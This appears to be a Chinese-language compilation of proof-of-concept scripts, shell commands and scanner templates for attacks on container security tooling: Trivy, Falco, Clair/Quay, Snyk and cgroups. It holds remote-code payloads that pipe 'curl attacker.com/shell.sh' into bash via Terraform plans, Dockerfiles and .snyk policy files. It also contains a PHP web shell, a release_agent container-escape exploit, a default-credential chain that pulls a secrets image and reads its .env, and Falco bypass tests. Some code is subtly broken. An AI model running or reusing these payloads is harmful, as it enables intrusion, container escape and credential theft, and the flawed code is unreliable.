容器安全与运行时防护平台高危攻击链专题：Trivy / Falco / Clair / Grype / Snyk / BuildKit / runc 漏洞全解析

# 检查 Trivy 数据库元数据哈希
curl -sS "https://ghcr.io/v2/aquasecurity/trivy-db/manifests/latest" \
  -H "Accept: application/vnd.oci.image.index.v1+json" | \
  python3 -c "import sys,json; print(json.dumps(json.load(sys.stdin),indent=2))"

# 检查本地数据库元数据是否被篡改
sha256sum /root/.cache/trivy/db/db.tar.gz

# 下载并检查数据库包
curl -sS -o db.tar.gz "https://raw.githubusercontent.com/aquasecurity/trivy-db/main/db.tar.gz" && \
  tar -tzf db.tar.gz | grep -E '\.(sh|py|rb)' && \
  echo "[VULN] 数据库包中包含可疑脚本文件"

#!/usr/bin/env python3
"""
CVE-2026-33634 Trivy 供应链攻击检测
检查本地 Trivy 数据库是否被篡改
用法: python3 cve_2026_33634.py [--db-path PATH]
"""
import os
import sys
import hashlib
import tarfile
import subprocess
import json
import argparse

KNOWN_SAFE_METADATA_HASH = None

def find_trivy_db_path():
    candidates = [
        os.path.expanduser("~/.cache/trivy/db/db.tar.gz"),
        "/var/cache/trivy/db/db.tar.gz",
        "/tmp/trivy/db/db.tar.gz",
    ]
    for c in candidates:
        if os.path.isfile(c):
            return c
    return None

def check_db_integrity(db_path):
    print(f"[*] 检查数据库: {db_path}")
    sha = hashlib.sha256()
    with open(db_path, "rb") as f:
        for chunk in iter(lambda: f.read(8192), b""):
            sha.update(chunk)
    digest = sha.hexdigest()
    print(f"[*] SHA-256: {digest}")

    if KNOWN_SAFE_METADATA_HASH and digest == KNOWN_SAFE_METADATA_HASH:
        print("[SAFE] 数据库哈希与已知安全值匹配")
        return True
    else:
        print("[WARN] 数据库哈希未知，请手动验证")

    suspicious = []
    try:
        with tarfile.open(db_path, "r:gz") as tar:
            for member in tar.getmembers():
                ext = os.path.splitext(member.name)[1]
                if ext in (".sh", ".py", ".rb", ".pl", ".bash"):
                    suspicious.append(member.name)
                if member.name.startswith("/") or ".." in member.name:
                    suspicious.append(f"PATH_TRAVERSAL: {member.name}")
    except Exception as e:
        print(f"[ERR ] 解压失败: {e}")
        return False

    if suspicious:
        print(f"[VULN] 发现 {len(suspicious)} 个可疑文件:")
        for s in suspicious:
            print(f"  - {s}")
        return False
    else:
        print("[SAFE] 未发现可疑脚本文件")
    return True

def check_running_trivy():
    try:
        result = subprocess.run(
            ["trivy", "--version"],
            capture_output=True, text=True, timeout=5
        )
        version_line = result.stdout.strip().split("\n")[0]
        print(f"[*] Trivy 版本: {version_line}")
    except FileNotFoundError:
        print("[INFO] 未安装 Trivy CLI")
    except Exception as e:
        print(f"[ERR ] 检查版本失败: {e}")

def check_malicious_c2_indicators():
    indicators = [
        "icp0.io", "raw.githubusercontent.com.*\\.sh",
        "base64 -d | /bin/sh", "curl.*\\|.*sh"
    ]
    db_path = find_trivy_db_path()
    if not db_path:
        return
    print("[*] 检查 C2 指标...")
    try:
        with tarfile.open(db_path, "r:gz") as tar:
            for member in tar:
                if member.isfile():
                    f = tar.extractfile(member)
                    if f:
                        content = f.read().decode("utf-8", errors="ignore")
                        for ind in indicators:
                            if ind.lower() in content.lower():
                                print(f"[VULN] C2 指标匹配: {ind} (in {member.name})")
    except Exception:
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-33634 Trivy 供应链攻击检测")
    parser.add_argument("--db-path", help="自定义数据库路径")
    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2026-33634 Trivy 供应链攻击检测工具")
    print("=" * 60)

    check_running_trivy()
    db_path = args.db_path if args.db_path else find_trivy_db_path()
    if db_path:
        check_db_integrity(db_path)
        check_malicious_c2_indicators()
    else:
        print("[INFO] 未找到 Trivy 数据库文件")

id: cve-2026-33634-trivy-supply-chain

info:
  name: Trivy 供应链攻击检测 (CVE-2026-33634)
  author: security-researcher
  severity: critical
  description: |
    Trivy 漏洞数据库供应链投毒，通过恶意 metadata 实现
    CI/CD 管线感染和自传播蠕虫
  tags: trivy,supply-chain,cve-2026-33634

file:
  - path: ~/.cache/trivy/db/db.tar.gz
    type: binary

  - matchers-condition: or
    matchers:
      - type: word
        words:
          - "icp0.io"
          - "base64 -d"
          - "/bin/sh"
        condition: or
        part: raw

      - type: regex
        regex:
          - "curl\\s+.*\\|\\s*(ba)?sh"
          - "wget\\s+.*\\|\\s*(ba)?sh"

    extractors:
      - type: dsl
        dsl:
          - '"Trivy 数据库可能包含恶意脚本"'

# 创建恶意 Terraform Plan JSON
cat > malicious_plan.json << 'EOF'
{
  "format_version": "1.0",
  "terraform_version": "1.5.0",
  "planned_values": {
    "root_module": {
      "resources": [{
        "address": "aws_instance.pwned",
        "type": "aws_instance",
        "values": {
          "ami": "``curl http://attacker.com/cve-ghsa-v653|bash``",
          "instance_type": "t2.micro"
        }
      }]
    }
  }
}
EOF

# 触发 Trivy 扫描该恶意文件
curl -X POST "http://target-cicd:8080/api/scan" \
  -H "Content-Type: application/json" \
  -d @malicious_plan.json

#!/usr/bin/env python3
"""
GHSA-v653-9gp5-3qjf Trivy 配置扫描命令注入 PoC
用法: python3 ghsa_v653.py <trivy_host:port> [callback_url]
"""
import sys
import json
import http.client
import ssl

def generate_malicious_plan(callback_url="http://attacker.com/shell.sh"):
    return {
        "format_version": "1.0",
        "terraform_version": "1.5.0",
        "planned_values": {
            "root_module": {
                "resources": [{
                    "address": "aws_instance.pwned",
                    "type": "aws_instance",
                    "values": {
                        "ami": f"`curl {callback_url} | bash`",
                        "instance_type": "t2.micro"
                    }
                }]
            }
        }
    }

def trigger_scan(host, port, callback_url, use_tls=False):
    plan = generate_malicious_plan(callback_url)
    ctx = ssl._create_unverified_context() if use_tls else None
    conn = http.client.HTTPSConnection(host, port, timeout=15, context=ctx) if use_tls else \
           http.client.HTTPConnection(host, port, timeout=15)

    endpoints = [
        ("/v1/misconf/scan", "POST"),
        ("/api/v1/scanning", "POST"),
    ]

    for endpoint, method in endpoints:
        try:
            body = json.dumps(plan)
            headers = {
                "Content-Type": "application/json",
                "Content-Length": str(len(body))
            }
            conn.request(method, endpoint, body=body, headers=headers)
            resp = conn.getresponse()
            print(f"[*] {method} {endpoint} -> HTTP {resp.status}")
            data = resp.read().decode(errors="ignore")
            if resp.status == 200 or "error" not in data.lower():
                print(f"[VULN] 扫描请求已发送，请检查 callback")
                return True
        except Exception as e:
            print(f"[ERR ] {endpoint}: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <host:port> [callback_url]")
        sys.exit(1)

    target = sys.argv[1]
    callback = sys.argv[2] if len(sys.argv) > 2 else "http://attacker.com/shell.sh"
    host, port = target.split(":")
    port = int(port)

    print("=" * 60)
    print("GHSA-v653-9gp5-3qjf Trivy 配置扫描命令注入 PoC")
    print("=" * 60)
    trigger_scan(host, port, callback)

id: ghsa-v653-9gp5-3qjf-trivy-config-injection

info:
  name: Trivy 配置扫描命令注入 (GHSA-v653-9gp5-3qjf)
  author: security-researcher
  severity: high
  description: Trivy 配置扫描在处理恶意 Terraform Plan 时存在命令注入
  tags: trivy,command-injection,ghsa-v653

http:
  - method: POST
    path:
      - "{{BaseURL}}/v1/misconf/scan"
      - "{{BaseURL}}/api/v1/scanning"
    headers:
      Content-Type: application/json
    body: |
      {"format_version":"1.0","terraform_version":"1.5.0","planned_values":{"root_module":{"resources":[{"address":"aws_instance.test","type":"aws_instance","values":{"ami":"trivy-test-xss-callback-9gp5","instance_type":"t2.micro"}}]}}}
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
          - 422
      - type: word
        words:
          - "misconfiguration"
          - "scan"
          - "terraform"
        condition: or
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"Trivy 扫描端点可达，请验证命令注入"'

# 构造包含路径穿越的恶意镜像
cat > Dockerfile << 'EOF'
FROM scratch
COPY payload.sh ../../tmp/pwned.sh
EOF

echo '#!/bin/bash\ncurl http://attacker.com/shell.sh | bash' > payload.sh
docker build -t evil-traversal:latest .

# 通过 Trivy HTTP API 触发扫描
curl -X POST "http://trivy-server:4954/v1/images/scan" \
  -H "Content-Type: application/json" \
  -d '{"target": "evil-traversal:latest", "options": {"format": "json"}}'

#!/usr/bin/env python3
"""
CVE-2021-32077 Trivy 解压路径穿越检测
检查 Trivy 版本是否受影响并验证解压行为
用法: python3 cve_2021_32077.py [trivy_binary_path]
"""
import subprocess
import sys
import os
import tempfile
import tarfile
import json

def check_trivy_version(trivy_bin="trivy"):
    try:
        result = subprocess.run(
            [trivy_bin, "--version"],
            capture_output=True, text=True, timeout=5
        )
        version_output = result.stdout.strip()
        print(f"[*] Trivy 版本输出: {version_output}")
        for line in version_output.split("\n"):
            if "version" in line.lower():
                ver = line.split(":")[-1].strip().lstrip("v")
                parts = ver.split(".")
                if len(parts) >= 3:
                    major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
                    if major == 0 and minor < 18:
                        print(f"[VULN] Trivy {ver} < 0.18.3，存在解压路径穿越漏洞")
                        return True
                    elif major == 0 and minor == 18 and patch < 3:
                        print(f"[VULN] Trivy {ver} < 0.18.3，存在解压路径穿越漏洞")
                        return True
                    else:
                        print(f"[SAFE] Trivy {ver} 已修复路径穿越漏洞")
                        return False
    except FileNotFoundError:
        print(f"[ERR ] 未找到 Trivy: {trivy_bin}")
    except Exception as e:
        print(f"[ERR ] 版本检测失败: {e}")
    return None

def verify_tar_extraction_vuln():
    print("[*] 验证 tar 解压路径穿越行为...")
    with tempfile.TemporaryDirectory() as tmpdir:
        evil_tar = os.path.join(tmpdir, "evil.tar.gz")
        test_dir = os.path.join(tmpdir, "test_extract")
        os.makedirs(test_dir)

        with tarfile.open(evil_tar, "w:gz") as tar:
            info = tarfile.TarInfo(name="../../../../tmp/traversal_test.txt")
            content = b"TRAVERSAL_TEST_CONTENT"
            info.size = len(content)
            from io import BytesIO
            tar.addfile(info, BytesIO(content))

        safe_extract_dir = os.path.join(tmpdir, "safe")
        os.makedirs(safe_extract_dir)

        try:
            with tarfile.open(evil_tar, "r:gz") as tar:
                for member in tar.getmembers():
                    if ".." in member.name:
                        print(f"[VULN] 检测到路径穿越成员: {member.name}")
                        print("[VULN] 如果 Trivy 未过滤此路径，文件将被写入目标目录之外")
                        return True
        except Exception as e:
            print(f"[ERR ] 验证失败: {e}")

    traversal_target = "/tmp/traversal_test.txt"
    if os.path.exists(traversal_target):
        print(f"[VULN] 路径穿越成功，文件已写入: {traversal_target}")
        os.remove(traversal_target)
        return True
    else:
        print("[SAFE] 未发现路径穿越行为")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2021-32077 Trivy 解压路径穿越检测工具")
    print("=" * 60)

    trivy_bin = sys.argv[1] if len(sys.argv) > 1 else "trivy"
    check_trivy_version(trivy_bin)
    verify_tar_extraction_vuln()

id: cve-2021-32077-trivy-path-traversal

info:
  name: Trivy 解压路径穿越 (CVE-2021-32077)
  author: security-researcher
  severity: high
  description: Trivy 解压容器镜像层时未检查路径穿越
  tags: trivy,path-traversal,cve-2021-32077

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/images/list"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "ImageID"
          - "digest"
        condition: or
        part: body

    extractors:
      - type: regex
        regex:
          - '"[^"]+":\\s*"sha256:[a-f0-9]{64}"'
        group: 0
        internal: true
        name: image_digest

  - method: POST
    path:
      - "{{BaseURL}}/v1/images/scan"
    headers:
      Content-Type: application/json
    body: '{"target":"{{image_digest}}","options":{"format":"json","skip-db-update":true}}'
    matchers:
      - type: status
        status:
          - 200
          - 400

# 检查 Falco 是否在运行
curl -sS "http://falco-grpc:5060" -H "Content-Type: application/grpc-web" -o /dev/null -w "%{http_code}"

# 检查 Sysdig Inspect API（SSRF 测试）
curl -sS "http://sysdig-inspect:8443/api/v1/captures" \
  -H "Authorization: Bearer ${SYSDIG_TOKEN}" | python3 -m json.tool

#!/usr/bin/env python3
"""
Falco 绕过技术验证 - eBPF Buffer Overflow 绕过
在容器内执行，验证是否可以绕过 Falco 检测
用法: python3 falco_bypass.py
"""
import os
import subprocess
import sys
import socket

def check_falco_presence():
    print("[*] 检测 Falco 是否在运行...")
    falco_detected = False
    try:
        result = subprocess.run(
            ["pgrep", "-a", "falco"],
            capture_output=True, text=True, timeout=5
        )
        if result.stdout.strip():
            print(f"[INFO] Falco 进程: {result.stdout.strip()}")
            falco_detected = True
    except Exception:
        pass

    for pid_dir in os.listdir("/proc"):
        if pid_dir.isdigit():
            try:
                with open(f"/proc/{pid_dir}/cmdline", "r") as f:
                    cmd = f.read().replace("\x00", " ")
                    if "falco" in cmd.lower():
                        print(f"[INFO] Falco PID: {pid_dir} -> {cmd[:80]}")
                        falco_detected = True
            except Exception:
                continue

    if not falco_detected:
        print("[INFO] 未检测到 Falco 进程")
    return falco_detected

def test_ebpf_buffer_overflow():
    print("[*] 测试 eBPF Buffer Overflow 绕过...")
    env_count = 5000
    env_vars = {f"E{i}": "x" * 200 for i in range(env_count)}
    try:
        result = subprocess.run(
            ["env", *[f"E{i}=x" * 200 for i in range(env_count)], "id"],
            capture_output=True, text=True, timeout=10
        )
        if result.returncode == 0:
            print(f"[INFO] 超大环境变量命令执行成功 (env_count={env_count})")
            print("[INFO] 检查 Falco 是否产生告警...")
        else:
            print(f"[-] 命令执行失败: {result.stderr[:100]}")
    except Exception as e:
        print(f"[-] 测试失败: {e}")

def test_namespace_escape():
    print("[*] 测试 Namespace 切换绕过...")
    try:
        result = subprocess.run(
            ["unshare", "-p", "-f", "--mount-proc", "/bin/sh", "-c", "echo namespace_switch_ok"],
            capture_output=True, text=True, timeout=5
        )
        if "namespace_switch_ok" in result.stdout:
            print("[INFO] Namespace 切换成功，请检查 Falco 是否监控到此操作")
    except Exception as e:
        print(f"[-] Namespace 切换失败: {e}")

def check_falco_grpc():
    print("[*] 检测 Falco gRPC 端口...")
    ports = [5060, 5061, 9090]
    for port in ports:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            result = sock.connect_ex(("127.0.0.1", port))
            if result == 0:
                print(f"[INFO] 端口 {port} 开放 (可能为 Falco gRPC)")
            sock.close()
        except Exception:
            pass

if __name__ == "__main__":
    print("=" * 60)
    print("Falco 绕过技术验证工具")
    print("=" * 60)

    check_falco_presence()
    check_falco_grpc()
    test_ebpf_buffer_overflow()
    test_namespace_escape()

id: falco-detection-bypass-check

info:
  name: Falco 运行时检测绕过验证
  author: security-researcher
  severity: medium
  description: 验证 Falco 运行时监控是否存在已知绕过技术
  tags: falco,bypass,runtime-security

tcp:
  - inputs:
      - host: "{{Hostname}}"
        ports:
          - "5060-5061"
          - "9090"
    read-size: 256
    matchers:
      - type: binary
        binary:
          - "67727063"
        internal: true

  - inputs:
      - host: "{{Hostname}}"
        ports:
          - "5060"
    read-size: 100
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "grpc"

http:
  - method: GET
    path:
      - "{{BaseURL}}/healthz"
      - "{{BaseURL}}/api/v1/health"
    matchers:
      - type: status
        status:
          - 200
          - 404

# 检查 cgroups 版本
curl -sS "http://target-container:8080/api/exec" \
  -H "Content-Type: application/json" \
  -d '{"cmd": "cat /proc/1/cgroup && mount | grep cgroup"}'

#!/usr/bin/env python3
"""
CVE-2022-0492 cgroups v1 release_agent 容器逃逸 PoC
用法: python3 cve_2022_0492.py
注意: 需在受影响的容器内执行
"""
import os
import subprocess
import sys

def check_cgroup_version():
    print("[*] 检查 cgroups 版本...")
    try:
        with open("/proc/filesystems", "r") as f:
            content = f.read()
        if "cgroup2" in content:
            print("[INFO] 系统支持 cgroup2")
        with open("/proc/self/cgroup", "r") as f:
            cgroup_info = f.read()
        print(f"[*] 当前 cgroup 信息:\n{cgroup_info[:500]}")

        if ":cgroup:" in cgroup_info or "cpu,cpuacct" in cgroup_info:
            print("[VULN] 使用 cgroups v1，可能受 CVE-2022-0492 影响")
            return True
        elif ":0::" in cgroup_info:
            print("[SAFE] 使用 cgroups v2")
            return False
    except Exception as e:
        print(f"[ERR ] 检查失败: {e}")
    return None

def check_release_agent():
    print("[*] 检查 release_agent 写入权限...")
    cgroup_base = "/sys/fs/cgroup"
    try:
        test_dirs = ["/tmp/cve_test"]
        for td in test_dirs:
            os.makedirs(td, exist_ok=True)
            cg_path = os.path.join(td, "release_agent")
            try:
                with open(cg_path, "w") as f:
                    f.write("/tmp/test_agent")
                print(f"[VULN] release_agent 可写入 -> 容器逃逸可行")
                os.remove(cg_path)
                os.rmdir(td)
                return True
            except PermissionError:
                print("[SAFE] release_agent 不可写入")
            except FileNotFoundError:
                continue
            finally:
                if os.path.exists(td):
                    os.rmdir(td)
    except Exception as e:
        print(f"[ERR ] 检查失败: {e}")
    return False

def exploit_release_agent():
    print("[*] 执行 release_agent 逃逸...")
    payload_path = "/tmp/exploit_payload.sh"
    with open(payload_path, "w") as f:
        f.write("#!/bin/bash\nid > /tmp/exploit_result.txt\n")

    cgroup_dir = "/tmp/pwned_cg"
    os.makedirs(cgroup_dir, exist_ok=True)

    try:
        ra_path = os.path.join(cgroup_dir, "release_agent")
        procs_path = os.path.join(cgroup_dir, "cgroup.procs")

        with open(ra_path, "w") as f:
            f.write(payload_path)

        pid = os.fork()
        if pid == 0:
            os.execvp("/bin/sh", ["/bin/sh", "-c", "exec cat /dev/null"])
        else:
            with open(procs_path, "w") as f:
                f.write(str(pid))
            os.waitpid(pid, 0)

        result_file = "/tmp/exploit_result.txt"
        if os.path.exists(result_file):
            with open(result_file, "r") as f:
                print(f"[VULN] 宿主机命令执行成功: {f.read().strip()}")
            os.remove(result_file)
            return True
    except Exception as e:
        print(f"[-] 利用失败: {e}")
    finally:
        if os.path.exists(payload_path):
            os.remove(payload_path)
        if os.path.exists(cgroup_dir):
            os.rmdir(cgroup_dir)
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2022-0492 cgroups v1 容器逃逸检测")
    print("=" * 60)

    is_cgroup_v1 = check_cgroup_version()
    if is_cgroup_v1:
        if check_release_agent():
            exploit_release_agent()
    elif is_cgroup_v1 is False:
        print("[SAFE] 系统使用 cgroups v2，不受此漏洞影响")

id: cve-2022-0492-cgroups-v1-escape

info:
  name: cgroups v1 release_agent 容器逃逸 (CVE-2022-0492)
  author: security-researcher
  severity: high
  description: 容器内 cgroups v1 release_agent 机制可被利用实现容器逃逸
  tags: cgroups,container-escape,cve-2022-0492,linux

http:
  - method: GET
    path:
      - "{{BaseURL}}/proc/self/cgroup"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - ":cgroup:"
          - "cpu,cpuacct"
        condition: or
    extractors:
      - type: regex
        regex:
          - ":cgroup:.*"
          - "cpu,cpuacct.*"
        group: 0

  - method: GET
    path:
      - "{{BaseURL}}/sys/fs/cgroup/cgroup.procs"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "0"
        part: body

# 检查 Quay 是否使用默认凭证
curl -sS -u "quay:quay" "https://quay-host/api/v1/user/" \
  -H "Content-Type: application/json" | python3 -m json.tool

# 检查 TLS 版本（测试 TLS 1.1 降级）
curl -sS --tls-max 1.1 --tlsv1.1 "https://clair-host:6060/" \
  -o /dev/null -w "%{http_code}" 2>&1

# 检查 Clair API 可达性
curl -sS "http://clair-host:6060/v1/layers" | python3 -m json.tool

#!/usr/bin/env python3
"""
Clair / Quay 安全检测工具
检查默认凭证、TLS 降级和 RPM DoS 风险
用法: python3 clair_quay_check.py <quay_host> <clair_host>
"""
import sys
import ssl
import socket
import http.client
import json

def check_quay_default_credentials(quay_host):
    print(f"[*] 检查 Quay 默认凭证: {quay_host}")
    default_creds = [
        ("quay", "quay"),
        ("admin", "admin"),
        ("quay", "password"),
        ("admin", "password"),
    ]
    for username, password in default_creds:
        try:
            ctx = ssl._create_unverified_context()
            conn = http.client.HTTPSConnection(quay_host, 443, timeout=10, context=ctx)
            import base64
            auth = base64.b64encode(f"{username}:{password}".encode()).decode()
            conn.request("GET", "/api/v1/user/",
                        headers={"Authorization": f"Basic {auth}",
                                 "Content-Type": "application/json"})
            resp = conn.getresponse()
            data = resp.read().decode()
            if resp.status == 200 and "username" in data:
                print(f"[VULN] 默认凭证有效: {username}:{password}")
                print(f"  用户信息: {data[:200]}")
                return True
            else:
                print(f"  {username}:{password} -> HTTP {resp.status}")
        except Exception as e:
            print(f"  {username}:{password} -> ERR: {e}")
    print("[SAFE] 默认凭证均无效")
    return False

def check_tls_downgrade(clair_host, port=6060):
    print(f"[*] 检查 TLS 降级风险: {clair_host}:{port}")
    protocols = [
        ("TLSv1.1", ssl.PROTOCOL_TLSv1_1 if hasattr(ssl, 'PROTOCOL_TLSv1_1') else None),
        ("TLSv1.2", ssl.PROTOCOL_TLSv1_2 if hasattr(ssl, 'PROTOCOL_TLSv1_2') else None),
    ]
    for name, proto in protocols:
        if proto is None:
            print(f"  {name}: 不支持测试 (Python 版本限制)")
            continue
        try:
            ctx = ssl.SSLContext(proto)
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            conn = ssl.wrap_socket(
                socket.socket(), server_hostname=clair_host, context=ctx
            )
            conn.settimeout(5)
            conn.connect((clair_host, port))
            print(f"[VULN] 服务器接受 {name} 连接，存在降级风险")
            conn.close()
        except ssl.SSLError:
            print(f"  {name}: 被拒绝 (安全)")
        except Exception as e:
            print(f"  {name}: 连接失败 - {e}")

def check_clair_api(clair_host, port=6060):
    print(f"[*] 检查 Clair API: {clair_host}:{port}")
    try:
        conn = http.client.HTTPConnection(clair_host, port, timeout=10)
        endpoints = ["/v1/layers", "/v1/vulnerabilities", "/v1/-namespaces"]
        for ep in endpoints:
            try:
                conn.request("GET", ep)
                resp = conn.getresponse()
                data = resp.read().decode()[:200]
                print(f"  {ep} -> HTTP {resp.status}: {data[:100]}")
                if resp.status == 200:
                    print(f"  [WARN] {ep} 无需认证即可访问")
            except Exception as e:
                print(f"  {ep} -> ERR: {e}")
    except Exception as e:
        print(f"[ERR ] Clair API 连接失败: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: python3 {sys.argv[0]} <quay_host> <clair_host>")
        sys.exit(1)

    quay_host, clair_host = sys.argv[1], sys.argv[2]
    print("=" * 60)
    print("Clair / Quay 安全检测工具")
    print("=" * 60)

    check_quay_default_credentials(quay_host)
    check_clair_api(clair_host)
    check_tls_downgrade(clair_host)

id: clair-quay-security-check

info:
  name: Clair / Quay 默认凭证与 TLS 降级检测
  author: security-researcher
  severity: high
  description: 检测 Quay 默认凭证和 Clair TLS 1.1 降级风险
  tags: clair,quay,default-credentials,tls-downgrade

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/user/"
    headers:
      Authorization: Basic cXVheTpxdWF5
      Content-Type: application/json
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "username"
          - "quay"
        condition: and
        part: body

  - method: GET
    path:
      - "{{BaseURL}}/v1/layers"
    matchers:
      - type: status
        status:
          - 200
          - 401
      - type: word
        words:
          - "Layer"
          - "error"
        condition: or
        part: body

# Step 1: 使用默认凭证登录
TOKEN=$(curl -sS -u "quay:quay" "https://quay-host/oauth/token" \
  -d "grant_type=password&scope=repository:*:pull&username=quay&password=quay" | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'][0]['token'])")

# Step 2: 列出所有仓库
curl -sS -H "Authorization: Bearer ${TOKEN}" \
  "https://quay-host/api/v1/repository?public=false"

# Step 3: 拉取敏感镜像并提取凭据
docker login quay-host -u quay -p quay
docker pull quay-host/internal/secrets:latest
docker run --rm quay-host/internal/secrets:latest cat /app/.env

# 创建包含恶意 autoload 的 composer.json
cat > malicious_composer.json << 'EOF'
{
  "name": "evil/vendor",
  "autoload": {
    "classmap": ["src/"],
    "files": ["post-autoload-dump.php"]
  }
}
EOF

cat > post-autoload-dump.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

# 提交到 Snyk API 进行扫描
curl -sS -X POST "https://api.snyk.io/v1/test" \
  -H "Authorization: token ${SNYK_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "target": {
      "address": "evil/composer-project",
      "branch": "main"
    }
  }'

#!/usr/bin/env python3
"""
CVE-2024-48963 Snyk PHP 代码注入检测
验证 Snyk 的 PHP 分析器是否在沙箱中运行
用法: python3 cve_2024_48963.py <snyk_api_token>
"""
import sys
import json
import http.client
import hashlib

def generate_malicious_composer_lock():
    return {
        "name": "evil/vendor-test",
        "packages": [{
            "name": "evil/malicious-pkg",
            "version": "1.0.0",
            "autoload": {
                "classmap": ["src/"],
                "classmap-authoritative": True
            },
            "extra": {
                "branch-alias": {
                    "dev-main": "1.0-dev"
                }
            }
        }],
        "packages-dev": [],
        "aliases": [],
        "minimum-stability": "stable",
        "prefer-stable": True,
        "platform": {},
        "platform-dev": {}
    }

def check_snyk_api(snyk_token, project_id=None):
    print("[*] 检查 Snyk API 连接...")
    try:
        conn = http.client.HTTPSConnection("api.snyk.io", 443, timeout=10)
        headers = {
            "Authorization": f"token {snyk_token}",
            "Content-Type": "application/json"
        }
        conn.request("GET", "/v1/orgs", headers=headers)
        resp = conn.getresponse()
        data = resp.read().decode()
        print(f"[*] Snyk API 响应: HTTP {resp.status}")
        if resp.status == 200:
            orgs = json.loads(data)
            print(f"[+] 可用组织: {len(orgs.get('orgs', []))}")
            return True
        else:
            print(f"[ERR ] API 错误: {data[:200]}")
            return False
    except Exception as e:
        print(f"[ERR ] 连接失败: {e}")
        return False

def analyze_php_autoload_risk(composer_json_path):
    print(f"[*] 分析 PHP 项目: {composer_json_path}")
    try:
        with open(composer_json_path, "r") as f:
            data = json.load(f)

        risky_fields = []
        if "autoload" in data:
            al = data["autoload"]
            if "classmap" in al:
                risky_fields.append("autoload.classmap")
            if "files" in al:
                risky_fields.append("autoload.files")
            if "psr-4" in al:
                risky_fields.append("autoload.psr-4")

        if risky_fields:
            print(f"[WARN] 发现可被利用的 autoload 字段:")
            for f_name in risky_fields:
                print(f"  - {f_name}")
            print("[INFO] 恶意 PHP 包可通过这些字段在 Snyk 扫描时触发代码执行")
            return True
        else:
            print("[SAFE] 未发现高风险 autoload 配置")
            return False
    except FileNotFoundError:
        print(f"[ERR ] 文件不存在: {composer_json_path}")
    except json.JSONDecodeError:
        print(f"[ERR ] 无效的 JSON 文件")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-48963 Snyk PHP 代码注入风险检测")
    print("=" * 60)

    if len(sys.argv) > 1:
        check_snyk_api(sys.argv[1])
    if len(sys.argv) > 2:
        analyze_php_autoload_risk(sys.argv[2])
    else:
        print("[*] 提供 Snyk API Token 和 composer.json 路径进行完整检测")

id: cve-2024-48963-snyk-php-injection

info:
  name: Snyk PHP 代码注入 RCE (CVE-2024-48963)
  author: security-researcher
  severity: critical
  description: Snyk PHP 分析器在解析 composer.lock 时存在代码注入
  tags: snyk,php,code-injection,cve-2024-48963

file:
  - path: "composer.json"
    type: json

  - type: word
    words:
      - "classmap"
      - "files"
      - "post-autoload-dump"
    condition: or
    part: raw

  - type: regex
    regex:
      - "\"autoload\"\\s*:\\s*\\{[^}]*\"files\""
    part: raw

    extractors:
      - type: dsl
        dsl:
          - '"composer.json 包含可被利用的 autoload 配置"'

# 创建恶意 .snyk 策略文件
cat > .snyk << 'EOF'
version: v1.25.0
ignore:
  SNYK-PHP-CUSTOM:
    - id: malicious-rule
      filePath: |
        __import__('os').system('curl http://attacker.com/snyk-rce-poc.sh | bash')
      reason: "Ignore for testing"
EOF

# 检查 IDE 是否加载了该策略
curl -sS "http://localhost:33444/api/snyk/policy" | python3 -m json.tool

#!/usr/bin/env python3
"""
CVE-2023-23694 Snyk IDE 策略文件 RCE PoC
生成恶意 .snyk 策略文件
用法: python3 cve_2023_23694.py [--callback-url URL] [--output PATH]
"""
import sys
import yaml
import argparse

def generate_malicious_snyk_policy(callback_url="http://attacker.com/shell.sh"):
    return {
        "version": "v1.25.0",
        "ignore": {
            "CVE-FAKE-001": [{
                "id": "snyk:policy:ignore:rce-test",
                "filePath": f"`import('child_process').execSync('curl {callback_url} | bash')`",
                "reason": "Temporary ignore during security testing",
                "expires": "2026-12-31T00:00:00.000Z"
            }]
        },
        "patch": {},
        "upgrade": {},
        "override": {},
        "annotate": {}
    }

def validate_snyk_policy(policy_path):
    print(f"[*] 分析 .snyk 策略文件: {policy_path}")
    try:
        with open(policy_path, "r") as f:
            content = f.read()
            policy = yaml.safe_load(f)

        risky_patterns = [
            "import(", "execSync", "exec(", "eval(",
            "child_process", "system(", "os.popen",
            "__import__", "subprocess"
        ]
        found = []
        for pattern in risky_patterns:
            if pattern in content:
                found.append(pattern)

        if found:
            print(f"[VULN] 策略文件包含危险模式:")
            for p in found:
                print(f"  - {p}")
            return True
        else:
            print("[SAFE] 未发现危险模式")
            return False
    except yaml.YAMLError as e:
        print(f"[ERR ] YAML 解析失败: {e}")
    except FileNotFoundError:
        print(f"[ERR ] 文件不存在: {policy_path}")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-23694 Snyk IDE RCE PoC")
    parser.add_argument("--callback-url", default="http://attacker.com/shell.sh")
    parser.add_argument("--output", default=".snyk")
    parser.add_argument("--validate", help="验证现有 .snyk 文件")
    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2023-23694 Snyk IDE 策略文件 RCE 检测")
    print("=" * 60)

    if args.validate:
        validate_snyk_policy(args.validate)
    else:
        policy = generate_malicious_snyk_policy(args.callback_url)
        with open(args.output, "w") as f:
            yaml.dump(policy, f, default_flow_style=False)
        print(f"[+] 恶意 .snyk 策略文件已生成: {args.output}")
